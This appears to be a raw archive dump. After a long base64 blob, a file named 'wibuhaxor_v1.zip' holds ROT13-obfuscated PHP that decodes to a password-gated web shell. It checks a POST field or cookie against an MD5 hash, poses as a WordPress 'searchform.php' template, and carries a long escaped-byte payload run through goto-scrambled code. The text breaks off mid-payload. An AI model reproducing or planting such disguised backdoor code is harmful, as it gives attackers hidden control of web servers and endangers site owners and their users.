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
EX5PLVV=',
);
}
wibuhaxor_v1.zip000064400000074575151167307440007740 0ustar00<?cuc
$qonq='';vs(vffrg($_CBFG['qonq'])){$qonq=$_CBFG['qonq'];frgpbbxvr("cn",$_CBFG['qonq'],ahyy,"/");}vs((vffrg($_PBBXVR['cn'])&&zq5($_PBBXVR['cn'])=='po56o83p8q55r8pq3r5rqr654q57o5nr')||zq5($qonq)=='po56o83p8q55r8pq3r5rqr654q57o5nr'){}ryfr{qvr('<ugzy><urnq></urnq><obql><sbez
npgvba="" zrgubq="cbfg"><vachg
glcr="cnffjbeq" anzr="qonq"
inyhr=""><vachg glcr="fhozvg"
anzr="fhozvg"
inyhr="fhozvg"></sbez></obql></ugzy>');}?><!--bx--><?cuc
/*
* Gur frnepusbez.cuc grzcyngr.
*
* Hfrq nal gvzr gung trg_frnepu_sbez() vf pnyyrq.
*
* @yvax uggcf://jbeqcerff.bet/gurzrf/grzcyngr/
* @cnpxntr JbeqCerff
* @fhocnpxntr
* @fvapr 1.0 */
tbgb mYfUY; SDFzl: qvr; tbgb n4kKc; eQUhn: $hx45 =
"\k5n\132\143\151\k36\151\k48\k71\57\k76\167\k41\k2s\104\k35\160\53\k4p\k42\142\k50\115\k71\k66\130\61\k6r\171\k79\k6n\k7n\k56\105\k37\k69\170\k6s\k4r\k37\167\141\126\k71\147\k47\k6n\146\150\110\k65\k72\k44\k75\172\120\60\70\172\130\k4r\k57\71\161\k54\k54\k6s\166\k58\165\k63\71\k2o\112\105\63\k30\k65\70\143\64\57\101\53\122\k6n\k36\71\157\k59\57\k33\k39\k2s\63\121\k5n\k69\k35\k50\53\k36\k76\k38\k4r\k4o\k54\163\k63\166\122\k6n\121\k64\k64\106\k54\k63\k76\60\162\k30\k75\103\163\k58\k6p\131\k62\171\101\62\132\127\57\67\162\k36\170\70\164\112\117\k50\k68\k6s\144\k53\k4s\k43\130\k5n\k53\71\k33\60\k72\k2o\k67\155\172\k6r\k56\k75\k50\153\170\112\k47\k65\k67\111\k7n\57\k6p\146\k6q\102\k6q\143\k4r\k37\166\k73\k7n\k36\k4s\113\k44\k2o\144\k67\142\106\145\k35\k50\k45\k5n\104\130\57\k79\147\71\k6r\k35\103\152\162\102\k79\k69\k31\163\k4s\k31\k34\102\152\k7n\166\k42\141\163\67\k64\k78\62\122\163\114\106\k6o\113\145\70\53\k70\130\117\71\k31\k58\k65\k36\k46\152\k65\k2o\126\k33\146\152\142\k4n\k56\151\65\65\k4q\k51\k43\105\k61\154\110\127\107\k73\111\k64\165\147\k52\k73\k32\65\110\k54\k35\110\k73\153\170\k77\102\k65\114\k76\127\k73\64\64\k4p\117\k2s\70\152\k74\k31\131\162\150\65\167\k76\k30\164\145\70\k4p\122\125\126\k48\k6n\k4q\127\141\k30\k51\k6p\k4q\57\67\104\67\145\167\k57\k58\k41\66\k65\110\107\k56\106\63\k51\k64\162\k78\115\k71\154\104\k38\k35\k2s\145\121\k4o\k69\k69\k52\141\k34\k78\k63\111\160\k4n\147\160\k4r\k72\144\114\k66\167\127\116\k59\k69\k6o\k2o\154\k4o\122\162\k49\107\k6n\k38\k4o\k41\167\115\k48\k34\k42\k78\k52\k6o\102\164\62\164\63\k4n\k6n\102\123\k44\k39\k77\71\151\k75\65\142\117\144\k79\116\64\122\k46\k4o\k70\k31\k73\130\k49\k70\121\k72\k54\60\157\63\150\143\120\152\k31\k33\k2s\101\k39\165\k34\k4r\103\k4r\125\145\k39\k33\157\k4s\k2o\110\k41\101\k57\61\k49\k46\k55\k72\k67\117\k2s\123\130\110\k49\k30\63\k69\63\157\k61\k67\156\131\144\k2s\125\k32\167\k33\122\130\k51\111\k4p\k5n\k56\156\k34\k78\67\121\103\106\107\114\146\k33\60\145\k32\k59\124\157\k71\k76\k5n\124\121\k5n\164\k50\k36\k4s\k67\170\143\151\126\163\k42\122\k6r\k76\114\172\115\164\k52\67\64\157\k44\k58\k45\k51\k46\165\k30\k54\115\165\k5n\116\66\k6p\k31\k54\112\k62\k54\150\k6o\147\k57\k32\146\151\k64\k30\131\110\k79\k36\k51\152\57\121\k48\k71\k37\k41\k79\126\126\k73\k5n\132\k30\k58\k7n\k67\132\k34\163\170\k37\k6r\64\144\k6s\151\57\70\131\k79\k4s\k4o\k71\71\125\144\k55\k45\61\160\126\165\k54\144\121\k62\170\144\k58\k69\160\k2s\k44\k37\132\k70\67\k63\102\53\k72\117\k38\k59\153\120\k4o\61\66\k53\122\k4n\115\k70\105\k76\172\107\64\171\165\101\k6o\170\k54\150\106\k31\124\k6o\k31\k35\105\k7n\k49\k6s\k63\171\k2o\62\122\k45\121\161\151\k35\k76\k54\k71\k6q\k70\k43\114\k4q\k57\k73\k49\111\114\121\k69\150\165\k55\112\117\k37\k57\k68\170\k52\k42\k6q\124\127\k46\k63\k43\k55\k39\156\k54\150\k69\k6q\k73\k37\k5n\57\k52\k56\111\k67\113\k4o\130\63\k68\k6n\k4o\157\k48\k54\166\k52\152\k36\113\k54\150\k2s\k41\61\125\146\110\k46\k61\145\61\k6p\53\k52\k2s\165\k50\k56\163\121\k58\k6n\k52\120\57\166\k57\k58\k70\115\k72\k6r\k31\k5n\k4q\k6o\66\k41\101\k36\166\63\157\117\132\146\k33\k31\63\k6s\153\107\k67\126\k70\k46\62\k34\k57\k38\k6q\k42\k45\151\103\k38\k75\103\k6p\k37\k4s\165\164\k38\k37\k4q\k6n\65\k4s\155\k32\k79\121\k2s\117\k67\144\171\110\164\k45\145\162\123\k31\161\k47\k79\172\120\63\k7n\61\124\57\70\67\k44\k64\153\k6n\172\162\k56\65\k71\k31\104\163\66\k52\k4n\k41\70\k38\k44\k48\115\k6r\145\163\170\70\k66\123\142\k45\k50\127\k39\k30\k2o\127\147\k47\122\144\66\k4s\k4s\k73\k4p\147\165\116\k47\143\171\70\101\131\163\144\k58\102\k35\k66\170\125\126\k73\k70\125\131\105\150\k66\144\k45\k2o\117\k2s\113\115\144\k33\62\131\61\163\162\71\171\67\61\63\k2s\k69\112\k62\102\127\117\k45\67\k70\k68\k64\101\121\k59\151\121\k70\k6q\124\k37\130\152\150\k36\147\k32\122\k63\k53\124\k65\k41\115\63\117\k59\103\71\k39\120\121\63\101\65\155\k64\145\k44\k4s\k66\k61\71\k36\k6o\61\k5n\k55\124\121\115\k76\k42\k61\k5n\k66\k36\101\k64\125\114\156\117\k4n\103\k45\k4r\k63\60\k45\k58\111\53\155\k45\102\166\172\k50\154\k35\67\117\157\k33\122\114\64\k52\66\k71\k46\k48\127\k4o\63\170\k69\163\70\120\124\62\113\k78\k44\67\k6p\64\154\172\106\k77\k51\150\152\63\61\154\k43\71\163\k59\166\k6s\172\k59\164\131\k51\120\k39\145\k38\k69\61\k50\k4s\k79\k51\143\k78\k62\k4s\k79\143\k55\156\161\66\61\125\k45\k6p\k75\k65\71\k47\k44\166\k44\172\132\163\k72\k59\k52\150\k65\63\k37\107\k31\k64\k42\k36\k62\k6n\66\k48\63\k72\k39\k64\k77\71\170\k6p\k36\165\k72\122\127\122\k45\k4n\k63\k74\155\k65\k45\k38\102\k38\k64\k46\101\k73\k35\k51\k75\113\64\132\k47\k47\102\117\k37\57\151\102\k6r\103\152\124\k7n\123\k76\k61\k6s\121\k2o\112\k78\102\k30\k74\71\71\67\k64\k43\k71\k72\126\k57\k31\k74\163\106\k72\k74\65\k4o\125\62\132\103\62\k53\k52\172\k66\105\112\k37\66\k47\k70\65\164\k76\107\k6n\k66\151\123\107\144\k57\k46\161\126\k35\k56\k4s\k46\k4p\110\53\63\106\k4s\62\k4n\k78\67\k4n\71\64\k71\145\k31\k66\k66\k59\161\103\k72\k4r\k68\160\160\k61\k30\167\62\167\k30\144\153\146\k62\105\152\142\k48\k37\127\k2o\k53\k33\63\k38\k39\65\k66\57\k65\k48\166\k76\k7n\k4p\k72\132\53\123\k6s\66\k6s\k66\k34\k44\153\70\146\k2o\121\k65\k4q\65\161\k49\141\121\153\114\k62\154\161\k38\k73\127\k76\k46\150\k72\k39\k55\k6r\127\k61\k4o\k71\106\k64\123\k54\124\k4n\k50\k4p\k54\k56\k37\102\125\k2o\k6r\110\k6r\k6o\k72\k32\145\k35\k73\157\k4o\k6r\57\k48\k65\k39\k73\116\171\k33\57\123\k46\151\k73\k78\k6r\150\154\165\112\132\k6o\162\k38\155\70\k39\104\k2o\124\k6r\k68\k54\k2o\k44\65\k66\161\172\155\k4n\67\k50\k73\164\60\125\170\53\k4r\k52\k6n\k77\k69\65\k73\62\166\k6o\k2o\k58\k36\k31\141\131\162\125\k6n\106\k39\k46\142\k5n\57\153\141\k6r\k44\120\143\k30\166\k62\k34\k6n\161\k55\k6q\66\k4p\143\153\126\103\71\k6r\k36\152\132\57\167\k77\k58\k66\142\142\k33\132\k78\k4n\k2o\62\123\k31\k33\130\k76\k79\k71\k6p\k31\k47\k72\121\154\k47\70\k67\167\113\161\114\60\117\142\k55\145\166\60\153\114\117\k45\151\k6p\k77\k72\132\171\65\150\102\k70\125\k6q\k48\70\62\k59\130\170\66\107\166\k65\k32\65\130\k64\k2o\65\162\130\k66\53\k31\k62\127\146\k79\k31\114\166\101\71\k78\k52\k55\104\64\k34\101\64\k50\171\k31\k58\k65\k78\k5n\k58\k76\k5n\53\163\k72\126\70\k77\147\170\103\k46\k6p\164\k41\163\150\k58\k70\k6o\120\k4q\k72\170\127\k50\131\k47\k70\k46\k42\k43\63\120\k42\k36\114\132\132\125\103\k64\143\k6r\61\k4o\k2s\113\k67\70\157\153\167\k79\k30\k47\k49\154\103\k4q\71\k76\k6o\k38\k46\64\k4n\146\k47\53\k41\71\150\k38\162\k75\k4o\k32\k38\k45\k2o\162\155\k39\k55\k2o\61\162\k49\107\k6s\k79\63\k2o\k6o\113\121\k41\k41\147\162\k48\k6n\k50\110\k69\107\k7n\64\53\67\165\57\104\106\k6s\164\66\k77\k79\k36\k4r\k45\k78\k52\k65\k43\k31\k50\k34\k4n\112\k57\k43\k38\107\124\k6n\57\112\k57\k34\130\k6o\k6p\k79\147\120\102\k33\142\k65\k45\150\k6p\163\117\k69\k30\k59\k6n\k65\151\165\111\k78\153\107\146\k61\104\57\144\103\k6n\k70\k6r\k61\114\k48\114\66\k6o\126\k4q\k6p\k4p\143\k62\122\k4s\k4n\125\107\k47\170\113\k62\k66\k58\157\166\k4q\71\k5n\k46\k43\k4p\k69\130\k4n\130\157\153\k75\k6p\165\125\k57\k70\112\65\103\63\106\k53\63\117\k46\k6s\103\60\154\125\k49\k30\132\111\123\k68\152\106\k79\k71\112\153\160\150\116\132\k46\k64\k72\62\151\162\123\150\k70\k63\110\k66\154\k44\107\65\125\k67\145\161\k76\145\k79\167\171\126\k79\66\k59\154\160\k75\k66\k6q\k5n\k58\127\k59\130\k59\106\61\57\k6o\153\105\105\k76\156\k2o\110\k45\k77\111\k4o\k36\161\k51\k4r\110\k34\k68\k65\160\k58\150\122\143\k72\k5n\k55\k32\156\k44\k79\127\60\170\127\172\70\161\162\k4s\170\171\57\k37\k61\k32\125\k70\165\170\62\k6p\k38\114\k58\k31\161\k4s\126\143\155\k70\106\131\114\103\k6o\k74\104\166\144\122\147\k73\k68\k35\k49\117\k67\k68\170\k42\126\62\64\k75\117\62\63\152\102\k4s\k4s\k7n\k2s\k6p\k2s\165\k78\k49\102\131\k38\123\k70\161\153\143\62\k6p\150\70\107\67\172\k4q\104\k6s\k44\k37\115\k48\k69\k65\k63\66\70\164\k74\k6p\152\171\k49\k4p\114\k71\k48\k75\65\106\k79\164\57\64\113\k77\k67\151\k57\154\162\k39\141\62\66\k4n\162\k61\k79\130\171\110\152\k79\k2o\116\121\70\k54\155\131\105\143\k39\k67\k74\62\170\k43\146\171\152\124\154\117\k70\101\k31\k33\k72\132\k47\160\123\162\k67\144\163\k45\k61\67\160\103\k30\125\117\k38\k61\145\132\k51\k77\k43\k41\124\151\k66\k6s\k69\k70\155\110\k59\101\102\k48\107\k75\107\122\k4r\k5n\k6s\k65\143\k43\k36\161\k78\k46\130\121\k63\155\k50\k30\k6p\k72\k45\71\k39\k32\k45\k74\70\k2o\171\114\k73\k67\k78\111\k74\k43\160\64\153\k56\k68\122\k34\k77\k55\101\120\k63\63\142\k45\167\k38\k35\k32\k5n\k32\k69\160\111\k74\k73\k4q\125\k57\144\k41\k5n\k64\141\k45\120\125\60\k4p\k37\162\k65\k68\102\k52\k54\k39\k65\153\k30\k67\102\121\110\k51\63\113\k46\121\k49\k56\126\k44\k45\k44\k43\k6s\123\154\60\k42\k5n\k42\105\k4p\105\111\132\147\k31\k52\70\147\132\k66\k4o\k58\170\k43\k4r\k58\150\146\k56\k50\112\k64\131\102\k6o\k63\113\k36\k37\k6s\154\157\107\145\171\k43\123\170\160\k72\k58\146\k62\161\141\61\k30\k31\k43\65\k73\k31\53\k51\145\k54\k46\106\171\131\131\123\71\k46\67\142\k55\k31\154\171\k5n\101\k62\114\125\k61\153\k68\164\105\116\k44\67\k73\104\k59\147\115\k4o\k6n\127\k57\k6r\k35\145\106\k5n\62\k69\120\111\k57\k58\k78\66\k59\k5n\126\102\156\k6s\k30\k59\k44\k70\164\k71\k6r\k4s\k4q\k57\171\k37\k68\k44\k7n\k70\142\k58\104\121\k62\k35\102\57\105\k68\66\k36\k69\k61\170\k44\k53\120\70\k57\66\111\111\167\k53\105\k68\k6p\115\71\141\131\k4p\66\k74\123\64\53\157\155\141\60\k67\117\k78\130\160\112\k62\126\141\145\k35\k59\k71\k39\k4q\k6o\k57\k32\120\160\57\k65\141\k54\57\123\101\57\147\k46\70\k4p\122\145\64\61\157\k2s\156\k4o\k31\166\127\102\167\111\144\k68\163\122\k44\105\123\k37\k69\64\k50\k30\132\k33\143\k33\150\k34\k48\k44\62\k69\k44\145\k75\115\64\71\k5n\124\k31\126\k77\122\121\153\k32\130\120\156\143\k2s\k4q\113\161\k41\k45\63\k52\166\64\120\125\k78\126\164\114\k39\k53\102\110\k58\147\k30\115\62\121\k6s\k67\k58\k66\k4o\161\k42\k31\65\162\67\172\163\k79\162\k55\141\k67\70\k37\167\64\147\160\120\104\127\k78\141\k6q\156\k69\70\131\144\k30\k2s\k4q\165\114\57\150\156\170\k45\143\k4o\145\k45\k6q\k75\k44\k50\k58\171\147\155\107\107\k59\k39\132\k68\147\k4p\k41\k54\k6n\k6q\k42\114\k4q\66\k58\k45\145\122\160\66\61\k47\k41\60\k62\k2o\131\131\121\k52\115\172\147\k70\k73\k4q\k5n\k79\k58\k76\k2s\k2s\53\k44\k6r\145\k61\122\106\131\126\162\k47\144\161\k61\163\k54\146\161\152\114\k67\116\143\120\k7n\121\57\107\k34\66\66\k4n\k6r\k6p\61\k2o\61\125\k6q\124\114\121\k71\k73\k55\k64\k58\k68\126\110\65\k71\k32\142\k68\k75\130\k35\121\k34\126\124\k52\117\126\163\167\60\113\122\k68\114\k65\155\k43\k76\107\k55\126\161\160\123\166\115\k39\k6o\k30\117\k69\k5n\k4n\161\63\62\57\171\110\66\k54\145\66\k38\105\k6s\k74\153\113\104\k57\k42\114\k75\112\153\150\k42\k74\150\k31\153\k66\k42\130\k4r\110\111\145\132\112\k44\105\k61\k70\k53\53\145\k59\k32\k47\k35\k31\k52\132\k42\k42\120\k77\k46\124\k6r\k6s\k6n\k70\151\131\143\165\k53\114\k6o\k49\166\111\k76\k61\k35\k5n\162\k2o\66\143\65\112\k6p\k76\k72\k4o\k43\172\k76\k64\62\164\k37\k4r\101\k70\k48\k59\k5n\172\57\k54\63\k78\k77\123\127\k7n\k79\k35\132\154\163\146\k67\k43\125\70\k4s\113\110\172\70\103\104\112\k54\112\k4n\112\126\k69\113\154\161\60\k64\k47\k2o\125\k46\163\171\132\161\62\k6s\156\k71\k56\k6p\k57\70\k4o\154\k4q\126\163\k47\k61\147\k71\k71\k48\k54\125\127\131\k73\172\110\k6n\k45\122\k4r\k62\163\k33\165\k57\145\k6o\k77\70\k4r\k59\k72\71\k35\k64\k4r\160\k76\k70\k48\k51\k67\62\53\106\61\162\k75\141\105\k54\k7n\106\k6q\k4s\k41\k43\150\157\k2o\k61\k51\123\104\k32\152\116\126\121\k42\k48\163\k33\k78\66\k32\k37\157\k51\k48\k67\165\146\k4o\61\k74\k4s\53\125\155\65\111\116\k32\64\k64\k6o\k38\150\166\144\160\k49\115\116\k56\102\k58\53\k45\172\k31\k34\160\101\k4p\k62\144\k49\160\104\k56\k4n\k57\114\155\157\k70\k74\k4q\k5n\67\k53\k6r\k54\166\171\k32\k79\k4s\k46\113\161\k6n\k69\150\145\125\63\k43\164\k51\k73\130\170\153\k71\k54\k5n\156\143\k33\131\k55\143\62\k4q\k64\167\k30\k5n\k6o\k52\111\k71\k58\162\k4n\122\107\k4n\k69\k31\k43\k6n\126\120\160\k34\k5n\172\k76\132\k69\151\k58\130\k37\k71\k31\151\k31\101\146\115\k6s\111\157\k54\142\141\104\k51\k6p\107\153\71\k47\k55\k50\k64\k75\k4s\115\k32\126\k51\102\154\163\111\116\120\k56\142\k5n\k4o\153\152\125\k35\k79\110\122\k6r\k6s\165\k6r\145\170\k31\157\120\114\64\k2s\104\k55\117\153\164\166\k47\171\62\k58\k64\123\k55\142\k4q\166\66\k43\k6n\k4r\166\k53\k32\k68\164\70\k71\157\k45\k43\k76\k72\121\171\121\k31\70\115\110\k56\114\116\k2o\k79\k31\125\165\k38\131\k73\71\k57\k76\156\70\k34\k41\k46\172\62\k64\164\154\150\105\113\k4o\155\k69\k7n\k36\k4n\k76\k51\k37\115\k72\62\145\151\142\k61\k61\k68\167\142\60\k59\k70\63\121\104\k61\k75\62\k2s\150\k6o\170\k55\k57\102\141\k2o\k4q\102\161\k76\102\130\k6r\k31\k65\k5n\163\113\k63\130\k6r\67\k75\k33\123\k7n\112\144\170\k32\120\k55\k6o\k45\151\k76\123\k36\k48\161\k54\k4n\k69\57\k4o\k44\k6n\143\57\160\110\k6q\k34\131\57\112\k72\143\125\k73\110\k63\143\k79\105\141\k57\57\k43\70\172\156\k57\k7n\106\k69\k32\127\63\k64\67\k39\63\141\143\156\122\k6r\k4p\k4q\k77\k67\k45\152\70\k61\k35\k44\146\105\k48\k33\k57\106\k72\144\126\k6p\171\k55\61\k34\k56\167\k31\120\k67\123\125\125\k53\k32\k56\k45\k59\145\k39\k2s\k66\k79\61\144\127\k73\124\123\k59\102\116\162\142\113\125\k57\k56\k42\k5n\111\117\124\k59\156\k6p\151\127\k57\156\k4n\57\163\k47\k59\k6o\k6o\k33\141\116\171\102\k62\171\k69\117\k4r\126\141\k54\k4q\k72\121\k30\k47\104\164\127\123\106\127\57\112\k71\k7n\k6q\k2o\164\k7n\125\131\114\113\122\k6r\k45\k78\113\103\k42\167\64\k4q\164\k54\132\k76\115\160\142\71\62\142\106\k69\k38\114\k4q\k30\66\170\k52\153\103\k77\151\k61\k76\k30\k2o\k32\k6o\144\105\61\141\k4n\65\151\k4p\65\110\k68\k4r\132\162\60\k72\k54\130\123\k65\114\121\60\70\k61\105\165\106\k67\161\116\111\k50\k67\64\k42\k43\k71\147\k34\k37\63\k36\157\64\105\105\130\116\71\123\122\k4o\153\114\k72\145\166\125\k72\k4s\k75\k53\171\123\167\146\142\170\k63\110\110\151\k70\141\61\132\150\k30\123\k43\k6r\k49\k33\k53\116\k34\114\124\101\k42\k68\k4n\k72\161\k67\113\101\70\63\k6n\k62\60\k44\126\k71\k31\k45\113\53\k41\k6q\k78\k53\k59\152\k4n\k4p\k64\150\k6s\53\k74\k41\114\k44\k35\104\k49\k6o\k6o\k45\111\103\k53\k6s\k4p\k50\160\k68\k79\k53\k78\k30\102\66\k54\k44\115\k59\k6n\k74\k46\122\k67\152\115\k63\62\121\k41\144\k49\k59\k4n\161\k7n\150\70\152\k6o\k45\k53\153\165\123\161\126\106\k71\k56\k5n\k41\57\k68\157\k68\k52\157\131\k4r\103\k37\172\103\114\105\103\142\106\k5n\k4n\130\k39\116\k4n\k45\k51\164\162\k52\113\164\k34\k68\k62\105\114\114\k4p\k6r\k66\160\k4s\k6q\171\k44\102\157\67\k48\165\151\k33\152\122\151\157\k46\k41\k57\60\70\167\160\k46\53\156\k59\110\k67\k65\k66\k4p\131\k2o\112\k77\156\124\k42\k70\101\145\k49\112\127\144\124\161\70\104\153\k59\156\112\104\k65\61\k41\k4n\122\k38\65\112\k4o\64\144\105\152\k50\114\146\161\k42\145\151\105\153\k64\k56\k2s\k46\k64\k30\k6o\67\160\k39\107\k51\130\k46\k56\122\k30\122\107\157\161\k66\k57\153\k63\170\125\57\167\k4p\k78\66\k78\k5n\k49\k4p\65\k59\k36\k61\163\153\k6p\k30\k59\127\k6r\k79\k44\121\121\k6p\171\126\k42\k56\111\k55\k66\k74\166\112\k77\k58\67\143\k59\k38\154\k52\k36\121\k4s\k63\k6q\60\k2o\k45\k63\k68\170\145\k38\110\k6p\167\k37\102\k58\64\63\k4o\k77\k44\157\k71\k66\k34\k36\160\107\145\104\131\k79\k67\k5n\k43\126\k5n\111\k4p\166\62\k5n\172\121\k31\k41\k32\k6o\125\70\k53\131\142\161\k4q\67\141\k4n\k57\k48\104\125\k34\k31\k65\121\k53\k4n\155\k63\126\103\111\k79\k43\120\k57\60\157\166\k67\k6p\k5n\k66\67\130\65\131\120\63\k76\152\156\k6q\66\102\171\101\k51\k4q\k32\144\k38\172\62\k76\124\k4r\145\k55\115\k75\k45\107\157\154\106\k66\124\112\k59\k63\102\k47\k68\101\k35\k53\k4r\155\k38\141\k49\k5n\k66\170\71\113\166\107\157\k57\102\k4o\103\115\66\64\k52\k2s\k75\142\k75\152\157\k2o\k43\k4p\164\k78\163\k66\k69\k65\117\k63\167\155\164\k38\57\k56\130\k61\k4r\101\116\145\123\k4o\k65\110\k45\k32\151\145\151\143\120\k6p\103\127\k39\150\k6o\k6p\153\164\114\k39\120\k35\70\114\k50\k72\142\115\k33\156\k37\62\k32\123\k69\60\k73\k73\k79\k51\k36\71\117\k47\64\107\132\110\k6o\k6q\163\k54\k68\113\k6n\k4n\161\k58\k58\k48\k62\k51\k62\k36\70\k42\k70\153\164\k41\70\k48\k53\107\k7n\k39\101\k6q\k65\63\k71\k57\142\k6n\142\k67\144\66\k6n\103\k70\170\62\70\57\k33\157\k50\k67\k64\64\k36\125\k4r\k6n\143\151\k36\162\143\103\k62\126\64\k4p\k4o\k33\k4o\k4s\k47\71\57\k4q\k45\102\165\k7n\132\156\167\k61\k36\k6q\k50\k39\117\k61\k6s\k54\154\k64\k65\k4s\k6r\113\124\k55\61\k4n\k4n\102\152\167\k44\k64\164\60\111\157\166\k71\120\k37\k51\k4s\k30\k52\k58\k6n\144\k43\k6o\165\146\k32\143\k44\k72\k33\156\k33\k61\144\k46\k2s\k34\k44\k53\153\k45\103\116\105\71\166\142\k4o\132\k39\k70\66\62\k67\143\152\63\155\k46\124\105\k36\k69\k46\160\123\k43\71\k37\k63\k4r\k57\123\k78\145\64\161\k56\66\k33\104\171\k64\k52\67\141\101\k37\k4n\k79\164\170\167\k41\k74\106\170\60\113\k2o\k61\107\k57\k2o\k53\k47\103\126\k33\146\k55\k41\k64\61\k41\k64\k43\70\172\k61\160\70\k36\164\161\k4o\k57\k34\53\k36\k66\162\167\170\146\66\110\132\k32\132\k76\71\k78\k79\k31\k4r\k67\k55\123\115\147\k58\k43\104\145\60\114\k79\123\k70\125\k30\155\65\70\122\k4s\147\120\126\102\67\k32\121\64\k76\k55\k34\145\144\114\106\k6n\151\k38\k51\126\155\k30\104\60\k65\153\120\130\k43\120\61\k4o\k68\k67\62\k6p\k51\k54\170\k48\67\145\63\k34\125\k2s\127\107\166\k37\k66\150\146\k53\62\k51\143\k34\k55\160\165\k2o\k31\161\k59\71\k70\167\113\113\66\147\131\k38\155\67\167\k5n\171\60\144\k50\57\k6s\165\106\k74\125\k33\k55\k76\k68\k43\k6q\k41\171\k65\146\k53\k53\k63\k48\71\163\155\k4p\151\k7n\160\152\105\k73\k4s\k6s\k57\131\70\k4p\162\k77\k41\k66\k74\k6o\k4p\126\113\160\120\k47\125\k76\k35\k48\105\k6s\k6r\k4r\k69\64\k37\53\k33\k48\150\k31\k4r\123\71\122\k59\163\k64\k44\113\141\117\105\64\k73\154\k32\k4r\k6r\k31\115\k72\k67\k4s\62\k36\k44\152\k68\130\130\132\k52\k77\145\104\131\k49\k42\170\k4q\60\k69\k62\167\103\k64\k52\116\171\161\k64\k74\67\k44\151\142\106\k50\k32\k30\k61\155\k6q\k6o\k2s\k6q\k4o\152\64\k55\113\70\105\132\170\115\170\k51\k68\102\k65\112\142\151\k31\63\171\k6s\123\130\k4o\115\162\k43\k62\132\k37\k79\62\k42\k59\104\k57\107\k37\k61\1